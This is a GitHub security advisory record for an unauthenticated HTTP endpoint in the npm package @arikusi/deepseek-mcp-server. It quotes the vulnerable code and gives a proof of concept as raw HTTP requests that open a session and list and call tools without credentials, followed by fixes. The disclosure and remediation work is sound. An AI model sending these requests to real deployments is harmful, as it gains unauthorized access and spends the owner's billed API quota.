CVE-2026-55605: @arikusi/deepseek-mcp-server Missing Authentication On Self-Hosted HTTP Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-72f3-6w86-7rv3",
  "modified" : "2026-08-25T18:38:30Z",
  "published" : "2026-08-25T18:38:30Z",
  "aliases" : [ "CVE-2026-55605" ],
  "summary" : "@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint",
  "details" : "## Summary\nThe self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one.\n\nThis issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`).\n\n## Affected Code\n`src/transport-http.ts:17` — `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests\n\n```typescript\nexport function createHttpApp(serverFactory: () => McpServer) {\n  const app = createMcpExpressApp({ host: '0.0.0.0' });\n```\n\n`src/transport-http.ts:31` — `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check\n\n```typescript\n  app.post('/mcp', async (req, res) => {\n    const sessionId = req.headers['mcp-session-id'] as string | undefined;\n\n    if (sessionId && transports[sessionId]) {\n      await transports[sessionId].handleRequest(req, res, req.body);\n      return;\n    }\n\n    if (!sessionId && isInitializeRequest(req.body)) {\n      const transport = new StreamableHTTPServerTransport({\n        sessionIdGenerator: () => randomUUID(),\n        onsessioninitialized: (id) => {\n          transports[id] = transport;\n          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);\n        },\n      });\n\n      const server = serverFactory();\n      await server.connect(transport);\n      await transport.handleRequest(req, res, req.body);\n```\n\nHTTP client → `POST /mcp` (no auth middleware) → `transport-http.ts:41` (`isInitializeRequest` branch) → `transport-http.ts:57–59` (`serverFactory()+connect+handleRequest`)\n\n`Dockerfile:12-13` — upstream container image defaults to self-hosted HTTP mode\n\n```dockerfile\nENV TRANSPORT=http\nENV HTTP_PORT=3000\n```\n\n`docker-compose.yml:4-8` — upstream compose file publishes port `3000` and enables HTTP mode\n\n```yaml\nservices:\n  deepseek-mcp:\n    ports:\n      - \"3000:3000\"\n    environment:\n      - TRANSPORT=http\n```\n\n## Proof of Concept\nStep 1 — send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` — proves no credentials are required to establish a session.\n\n```bash\npython3 poc.py\n```\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc-client\",\"version\":\"1.0\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\nevent: message\ndata: {\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true}},\"serverInfo\":{\"name\":\"deepseek-mcp-server\",\"version\":\"1.7.0\"}},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\nStep 2 — send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) — proves tool discovery is reachable without credentials.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n```\n\n```text\nRESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.\n```\n\nStep 3 — send unauthenticated `tools/call` for the local `deepseek_sessions` tool on the obtained session: server executes the tool and returns its result with no credentials supplied.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"deepseek_sessions\",\"arguments\":{\"action\":\"list\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"No active sessions.\"}]},\"jsonrpc\":\"2.0\",\"id\":2}\n```\n\n## Impact\nIn self-hosted HTTP deployments, any host with network access to port `3000` can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local `deepseek_sessions` tool.\n\n`deepseek_chat` is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side `DEEPSEEK_API_KEY` places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.\n\n## Remediation\nRequire authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an `authProvider` to `createMcpExpressApp` at `transport-http.ts:17` or place equivalent authentication middleware / a reverse proxy in front of `/mcp` so unauthenticated clients never reach the initialize branch:\n\n```typescript\nconst app = createMcpExpressApp({\n  host: '0.0.0.0',\n  authProvider,\n});\n```\n\nFor deployments that only need local access, bind to `127.0.0.1` instead of `0.0.0.0` in both `createMcpExpressApp` and `app.listen` (`transport-http.ts:17` and `:107`) as a defence-in-depth measure. Upstream `docker-compose.yml` currently publishes `3000:3000`; changing that to `127.0.0.1:3000:3000` would reduce inadvertent exposure on multi-user or server hosts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@arikusi/deepseek-mcp-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.2"
      }, {
        "fixed" : "1.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/arikusi/deepseek-mcp-server/security/advisories/GHSA-72f3-6w86-7rv3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55605"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/arikusi/deepseek-mcp-server/pull/4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/arikusi/deepseek-mcp-server/commit/dab07ed93ddde0ab219d4cb7066785847db53a32"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/arikusi/deepseek-mcp-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/arikusi/deepseek-mcp-server/blob/main/CHANGELOG.md#180---2026-06-14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/arikusi/deepseek-mcp-server/releases/tag/v1.8.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:38:30Z",
    "nvd_published_at" : "2026-07-09T22:17:06Z"
  }
}